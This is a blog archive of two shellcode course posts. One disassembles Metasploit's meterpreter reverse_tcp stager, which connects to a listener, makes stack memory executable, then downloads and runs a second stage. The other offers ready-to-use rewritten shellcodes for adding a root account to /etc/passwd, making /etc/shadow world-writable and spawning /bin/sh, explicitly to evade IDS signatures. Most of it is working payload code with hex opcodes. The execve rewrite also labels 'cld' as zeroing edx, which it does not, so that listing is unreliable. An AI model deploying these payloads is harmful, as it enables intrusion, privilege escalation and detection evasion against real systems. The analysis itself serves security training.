Category Archives: SLAE Course Blog

SLAE 5.1: linux/x86/meterpreter/reverse_tcp shellcode analysis

SLAE_logo2

Content

  1. Introduction
  2. Generate shellcode
  3. Compile POC and retrieve shellcode source
  4. Disassemble shellcode
  5. Analysis

1. Introduction

I’ve always been intrigued by by the the little intricacies of life that I do not fully understand.

Don’t get me wrong, I do like the magical feeling of surprise and I thoroughly appreciate the mystique. I do however have my reservations when it comes to shellcode that I haven’t written myself.

This reservation might stem from some kind of digital survival instinct (reinforced by the “OpenSSH <= 5.3 remote root 0day exploit“) or it might simply be my drive to ever keep learning. Whatever the reason, I wanted to now how the shellcode works that I’ve been using for a while to pop dozens of boxes: linux/x86/meterpreter/reverse_tcp

2. Generate shellcode

A few things to be aware of when dissecting msf payloads:

  • the shellcodes will lack sections, thus the use of objdump will be limited. We could try forcing it to work via the following command but I decided against it:
    objdump -b binary -D -m i386 <shellcode> -M intel
  • piping the output from msfvenom to “ndisasm -u -” would produce assembly code in a weird dialect and that would confuse me.

I am going to create the raw shellcode to paste into our shellcode.c POC for further analysis:

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.100.15 LPORT=1337 -a x86 --platform Linux -f c
No encoder or badchars specified, outputting raw payload
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68\xc0\xa8\x64\x0f\x68\x02\x00\x05\x39\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1";

Let’s pop it into our POC:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68\xc0\xa8\x64\x0f\x68\x02\x00\x05\x39\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

3. Compile the shellcode POC and extract the shellcode source code

We know that it works so let’s jump right into it with gdb:

root@kali:~/# gdb -q shellcode
Reading symbols from /root/git/slae-assignment5/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: /root/git/slae-assignment5/shellcode 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, 0x0804844f in main ()
(gdb) disassemble 
Dump of assembler code for function main:
   0x0804844c <+0>:	push   ebp
   0x0804844d <+1>:	mov    ebp,esp
=> 0x0804844f <+3>:	and    esp,0xfffffff0
   0x08048452 <+6>:	sub    esp,0x20
   0x08048455 <+9>:	mov    DWORD PTR [esp],0x8049700
   0x0804845c <+16>:	call   0x8048340 <strlen@plt>
   0x08048461 <+21>:	mov    DWORD PTR [esp+0x4],eax
   0x08048465 <+25>:	mov    DWORD PTR [esp],0x8048520
   0x0804846c <+32>:	call   0x8048320 <printf@plt>
   0x08048471 <+37>:	mov    DWORD PTR [esp+0x1c],0x8049700
   0x08048479 <+45>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804847d <+49>:	call   eax
   0x0804847f <+51>:	leave  
   0x08048480 <+52>:	ret    
End of assembler dump.
(gdb) break *0x0804847d
Breakpoint 2 at 0x804847d
(gdb) c
Continuing.
Shellcode Length:  24

Breakpoint 2, 0x0804847d in main ()
(gdb) stepi
0x08049700 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x08049700 <+0>:	xor    ebx,ebx
   0x08049702 <+2>:	mul    ebx
   0x08049704 <+4>:	push   ebx
   0x08049705 <+5>:	inc    ebx
   0x08049706 <+6>:	push   ebx
   0x08049707 <+7>:	push   0x2
   0x08049709 <+9>:	mov    al,0x66
   0x0804970b <+11>:	mov    ecx,esp
   0x0804970d <+13>:	int    0x80
   0x0804970f <+15>:	xchg   edi,eax
   0x08049710 <+16>:	pop    ebx
   0x08049711 <+17>:	push   0xf64a8c0
   0x08049716 <+22>:	push   0x39050002
   0x0804971b <+27>:	mov    ecx,esp
   0x0804971d <+29>:	push   0x66
   0x0804971f <+31>:	pop    eax
   0x08049720 <+32>:	push   eax
   0x08049721 <+33>:	push   ecx
   0x08049722 <+34>:	push   edi
   0x08049723 <+35>:	mov    ecx,esp
   0x08049725 <+37>:	inc    ebx
   0x08049726 <+38>:	int    0x80
   0x08049728 <+40>:	mov    dl,0x7
   0x0804972a <+42>:	mov    ecx,0x1000
   0x0804972f <+47>:	mov    ebx,esp
   0x08049731 <+49>:	shr    ebx,0xc
   0x08049734 <+52>:	shl    ebx,0xc
   0x08049737 <+55>:	mov    al,0x7d
   0x08049739 <+57>:	int    0x80
   0x0804973b <+59>:	pop    ebx
   0x0804973c <+60>:	mov    ecx,esp
   0x0804973e <+62>:	cdq    
   0x0804973f <+63>:	mov    dh,0xc
   0x08049741 <+65>:	mov    al,0x3
   0x08049743 <+67>:	int    0x80
   0x08049745 <+69>:	jmp    ecx
End of assembler dump.
(gdb)

And there is our meterpreter reverse shell in assembly.

4. Disassemble shellcode

I’m going to cut and paste it into it’s own source file for detailed analysis:

; Filename: msf-revshell.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Disassembly of msf linux/x86/meterpreter/reverse_tcp
;          for research purpose


global _start           

section .text

_start:

  xor    ebx,ebx
  mul    ebx
  push   ebx
  inc    ebx
  push   ebx
  push   0x2
  mov    al,0x66
  mov    ecx,esp
  int    0x80
  xchg   edi,eax
  pop    ebx
  push   0xf64a8c0
  push   0x39050002
  mov    ecx,esp
  push   0x66
  pop    eax
  push   eax
  push   ecx
  push   edi
  mov    ecx,esp
  inc    ebx
  int    0x80
  mov    dl,0x7
  mov    ecx,0x1000
  mov    ebx,esp
  shr    ebx,0xc
  shl    ebx,0xc
  mov    al,0x7d
  int    0x80
  pop    ebx
  mov    ecx,esp
  cdq    
  mov    dh,0xc
  mov    al,0x3
  int    0x80
  jmp    ecx

5. Analysis

In addition to this source file I am going to create a handy graphic representation of the program using libemu:

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.100.15 LPORT=1337 -a x86 --platform Linux | /usr/bin/sctest -vvv -Ss 100000 -G msf_rev_shell.dot
root@kali:~# dot msf_rev_shell.dot -Tpng -o msf_rev_shell.png

libemu choked a bit at the end but got us a nice result:

msf_rev_shell

We can clearly see that our shellcode has four parts (the last one was omitted by libemu but can be seen in the assembly). The first two of which are pretty much a copy and paste from our reverse shell from the previous chapter:

1. Create a socket: We push our parameters (0, 1, 2) onto the stack, store the address in ecx, socket call subfuntion 1 in ebx, socket system call function 102 in eax and execute an int080

2. Connect: We push our IP address, port and socket structure attributes onto the stack, store the address in ecx, the connect sub function number (1) in ebx, socket system call function 102 in eax and execute an int080.

3. Mprotect: This is where it gets interesting. The last section in the graph sets up a system call with the number 125. According to our system call table, this call is mprotect, which sets protection on a region of memory according to man  mprotect:

int mprotect(void *addr, size_t len, int prot);

mprotect()  changes  protection  for  the calling process's memory page(s) containing any part of the address range in the interval
[addr, addr+len-1].  addr must be aligned to a page boundary.

If the calling process tries to access memory in a manner that violates the protection, then the kernel generates a SIGSEGV  signal
for the process.

prot is either PROT_NONE or a bitwise-or of the other values in the following list:

PROT_NONE  (0x0) The memory cannot be accessed at all.
PROT_READ  (0x1) The memory can be read.
PROT_WRITE (0x2) The memory can be modified.
PROT_EXEC  (0x4) The memory can be executed.

It seems that our shellcode prepares a chunk of the stack for storage and execution of our stage 2 shellcode, but let’s confirm that by analyzing the code step by step:

  mov    dl,0x7             ; set the permit - read (1), write (2) and execute flags (4) in edx
  mov    ecx,0x1000         ; define the size of the region as 4096 bytes
  mov    ebx,esp            ; define the top of the stack as the start of the region
  shr    ebx,0xc            ; shift ebx 3 nibbles to the right to zero out the 12 least significant bits
  shl    ebx,0xc            ;   and move 12 zeros back, effectively moving the buffer ahead of the stack by 1348 bytes 
  mov    al,0x7d            ; move system function call number 125 into al
  int    0x80               ; invoke mprotect system call

Bingo. Let’s see where that puts our buffer in memory:

Meterpreter-memorymap

There it is, just underneath the stack: our 4k executable buffer for all the mischief that we have planned for later.

4. Read: The last section, which didn’t make it into our graph, sets up a system call with the number 3. According to our system call table, this call is read, which would make sense as our main purpose is to download the second stage of our shellcode.
According to our man 2 read:

ssize_t read(int fd, void *buf, size_t count);
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

There we have it.
Let’s again confirm our theory by analyzing eaqch step:

  pop    ebx                ; store our file descriptor in ebx (pushed during the connect() )
  mov    ecx,esp            ; store pointer to our (nicely prepared) buffer in ecx
  cdq                       ; zero out edx
  mov    dh,0xc             ; set the size to 3072 bytes
  mov    al,0x3             ; move system function call number 3 into al
  int    0x80               ; invoke read system call
  jmp    ecx                ; redirect code execution to the downloaded shellcode

Voila, it all makes perfect sense now:

; Filename: msf-revshell.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Disassembly of msf linux/x86/meterpreter/reverse_tcp
;          for research purpose


global _start           

section .text

_start:

  ; Create socket
  xor    ebx,ebx	; zero out ebx
  mul    ebx		; zero out eax & edx
  push   ebx            ; push IPPROTO = 0
  inc    ebx
  push   ebx            ; push SOCK_STREAM=1
  push   0x2            ; push AF_INET=2
  mov    al,0x66	; store sys_socketcall system call number in al
  mov    ecx,esp	; store pointer to arguments in ecx
  int    0x80           ; invoke system call
  xchg   edi,eax	; store the socket file descriptor in edi

  ; Connect
  pop    ebx		; pop connect sub function number 1 into ebx
  push   0xf64a8c0	; push IP address 192.168.100.15
  push   0x39050002	; push port 1337
  mov    ecx,esp	; store pointer to arguments in ecx
  push   0x66		; store sys_socketcall system call number in al
  pop    eax
  push   eax		; use eax as sizeof(struct sockaddr_in)
  push   ecx		; &serv_addr
  push   edi		; our socket descriptor
  mov    ecx,esp	; store pointer to arguments in ecx
  inc    ebx		; inc sub function call number to 3 for connect
  int    0x80		; invoke system call

  ; Prepare buffer for incomming stage 2 shellcode
  mov    dl,0x7         ; set the permit - read (1), write (2) and execute flags (4) in edx
  mov    ecx,0x1000     ; define the size of the region as 4096 bytes
  mov    ebx,esp        ; define the top of the stack as the start of the region
  shr    ebx,0xc        ; shift ebx 3 nibbles to the right to zero out the 12 least significant bits
  shl    ebx,0xc        ;   and move 12 zeros back, effectively moving the buffer ahead of the stack by 1348 bytes 
  mov    al,0x7d        ; move system function call number 125 into al
  int    0x80           ; invoke mprotect system call

  ; retrieve stage 2 shellcode
  pop    ebx                ; store our file descriptor in ebx (pushed during the connect() )
  mov    ecx,esp            ; store pointer to our (nicely prepared) buffer in ecx
  cdq                       ; zero out edx
  mov    dh,0xc             ; set the size to 3072 bytes
  mov    al,0x3             ; move system function call number 3 into al
  int    0x80               ; invoke read system call
  jmp    ecx                ; redirect code execution to the downloaded shellcode

Let’s make sure it all works as intended:

slae05_09

Perfect. Job well done.

 

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

SLAE #6: Polymorphic versions of public shellcodes

SLAE_logo2

Content

  1. Introduction
  2. MSF /linux/x86/adduser – Smaller and NULL free version
  3. chmod(/etc/shadow, 0666) & exit()  by ka0x – Smaller version
  4. Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version

1. Introduction

I will modify or polymorph three publicly available shellcodes. Primarily to avoid IDS detection by changing the signature of the payload but also to make it better or smaller.

2. MSF /linux/x86/adduser – Smaller and NULL free version

The adduser shellcode from metasploit is great. Very flexible and fits perfectly into a framework such as metasploit.
Here is the thing though: It is full of NULL characters and rather large. Encoding it to get rid of the NULL’s makes it even bigger.
Solution: I replace the optimised call&pop routine with the good old jmp, call & pop and replace some other small bits and pieces.
The full jmp, call & pop will require us to hardcode the length of the string, which shouldn’t matter since we have to hardcode the string anyway.
We can even make it a little smaller by deleting the setreuid() function which is generally not required (but can be added back in whenever needed).
Without further delay, here is the final product:

; Filename: msf_adduser_poly.nasm
; Author: Taken from Metasploit
; Modified by Re4son re4son [at] whitedome.com.au
; Purpose: Null free and smaller polymorphic version
;          of the metasploit linux/x86/adduser payload
;          Creates root user "re4son" with password w00tw00t



global _start           

section .text

_start:
  ; setreuid() sets real and effective user IDs of the calling process
  ; int setreuid(uid_t ruid, uid_t euid)
  ; can be optimised out for most cases - un-comment it if you need it
  ;xor    ecx,ecx		; zero out ecx
  ;mov    ebx,ecx		; and ebx
  ;push   0x46			; put sys_setreuid
  ;pop    eax			;  into eax
  ;int    0x80			; and invoke system call


  ; open, create - open and possibly create a file or device
  ; int open(const char *pathname, int flags)
  xor	 eax, eax		; zero out eax
  mov	 ecx, eax		;  and ecx
  mov     al, 0x5		; put sys_open into eax
  push   ecx			; push null terminator onto stack
  push   dword 0x64777373	; push sswd
  push   dword 0x61702f2f	; push //pa
  push   dword 0x6374652f	; push /etc
  mov    ebx,esp		; store pointer to file name in ebx
  mov    cl,0x1			; set O_WRONLY flag (01)
  mov    ch,0x4			; set O_APPEND flag (02000)
  int    0x80			; and invoke system call


  ; write - write to a file descriptor
  ; ssize_t write(int fd, const void *buf, size_t count)
  xchg   ebx,eax		; store file descriptor in ebx
  jmp string
adduser:
  pop    ecx			; put the pointer to our string in ecx
  mov    byte dl, 0x23		; put the size in edx - make sure it is right
  push   0x4			; put sys_write
  pop    eax			;  into eax
  int    0x80			; and invoke system call


  ; exit - terminate the calling process
  ; void _exit(int status)
  push   0x1			; put sys_exit
  pop    eax			;  in eax
  int    0x80			; so long and thanks for all the fish

string:
call   adduser			; jmp/call/pop trick to get our db address
userstring db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh"	; size 35 - 0x23 copy to adduser call

Let’s make sure it still works though:

slae06_01

Awesome. It works, is smaller and has no NULL bytes.

Let’s check the differences between the original and the polymorphed versions using vimdiff: slae06_02

\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80
\x31\xc0\x89\xc1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xb1\x01\xb5\x04\xcd\x80\x93\xeb\x0d\x59\xb2\x23\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68
 

Perfect. New opcodes, smaller, and NULL byte free.

3. chmod(/etc/shadow, 0666) & exit()  by ka0x – Smaller version

I’ve applied some optimizations and alternative instructions to change the opcodes in this shellcode and ended up with one that is 2 bytes less.
Let start with the original code:

#include <stdio.h>
 
/*
    linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
    written by ka0x - ka0x01[alt+64]gmail.com
    lun sep 21 17:13:25 CEST 2009
 
    greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!
 
*/
 
int main()
{
 
    char shellcode[] =
            "\x31\xc0"          // xor eax,eax
            "\x50"              // push eax
            "\x68\x61\x64\x6f\x77"      // push dword 0x776f6461
            "\x68\x2f\x2f\x73\x68"      // push dword 0x68732f2f
            "\x68\x2f\x65\x74\x63"      // push dword 0x6374652f
            "\x89\xe3"          // mov ebx,esp
            "\x66\x68\xb6\x01"      // push word 0x1b6
            "\x59"              // pop ecx
            "\xb0\x0f"          // mov al,0xf
            "\xcd\x80"          // int 0x80
            "\xb0\x01"          // mov al,0x1
            "\xcd\x80";         // int 0x80
 
    printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
    (*(void(*)()) shellcode)();
     
    return 0;
}

 

And here my modified version:

; linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
; written by ka0x - ka0x01[alt+64]gmail.com
; lun sep 21 17:13:25 CEST 2009
; 
; greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!
;
; Polymorphed by Re4son: 31 bytes
; re4son [at] whitedome.com.au

global _start           

section .text

_start: 
  cdq			; clear edx
  push edx		; push NULL termination
  push dword 0x776f6461 ; push adow 
  push dword 0x68732f63 ; push hs/c
  push dword 0x74652f2f ; push te//
  mov ebx,esp
  mov al,0xf
  mov cx,0x1be		; chmod 676
  int 0x80
  mov al,0x1
  int 0x80

Proof that it still work the way intended (note that we changed chmod 666 to chmod 676):

slae06_03

Again the differences between the original and the polymorphed versions using vimdiff:   Anslae06_04
And here the differences in shellcodes (original on top):

\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xb0\x0f\xcd\x80\xb0\x01\xcd\x80
\x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\xb0\x0f\x66\xb9\xbe\x01\xcd\x80\xb0\x01\xcd\x80

Pretty good.

4. Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version

Again I’ve substituted some obcodes with more efficient ones and changed “//bin/sh” to /bin//sh” resulting in a smaller shellcode with different opcodes to the original one.

Here the original from Shell-Storm.com:

*
 Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
 Date     : 10 Feb 2011
 Author   : kernel_panik
 Thanks   : cOokie, agix, antrhacks
*/

/*
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ;; hs//
 push 0x6e69622f   ;; nib/
 mov ebx, esp
 mov al, 11
 int 0x80
*/


#include <stdio.h>
#include <string.h> 

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 printf ("Shellcode length : %d bytes\n", strlen (code));
 int(*f)()=(int(*)())code;
 f();
}

My polymorphed version:

; Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
; Date     : 10 Feb 2011
; Author   : kernel_panik
; Thanks   : cOokie, agix, antrhacks
;
; Polymorphed by Re4son: 18 bytes
; re4son [at] whitedome.com.au
; "\xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80"

global _start           

section .text

_start: 
 cld		   ;; zero out edx
 push edx          ;; push NULL termination
 push 0x68732f6e   ;; hs/n
 push 0x69622f2f   ;; ib//
 mov al, 11
 mov ebx, esp
 int 0x80

Let’s run both version to make sure they do the same thing:

slae06_05

Excellent.

Why don’t we compare both sources with vimdiff:

slae06_06

Below the differences in shellcodes:

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
\xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80
 

Excellent. There we have it – three polymorphic versions of publicly available shellcodes for IDS avoidance but also with the benefit of being smaller and NULL free.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail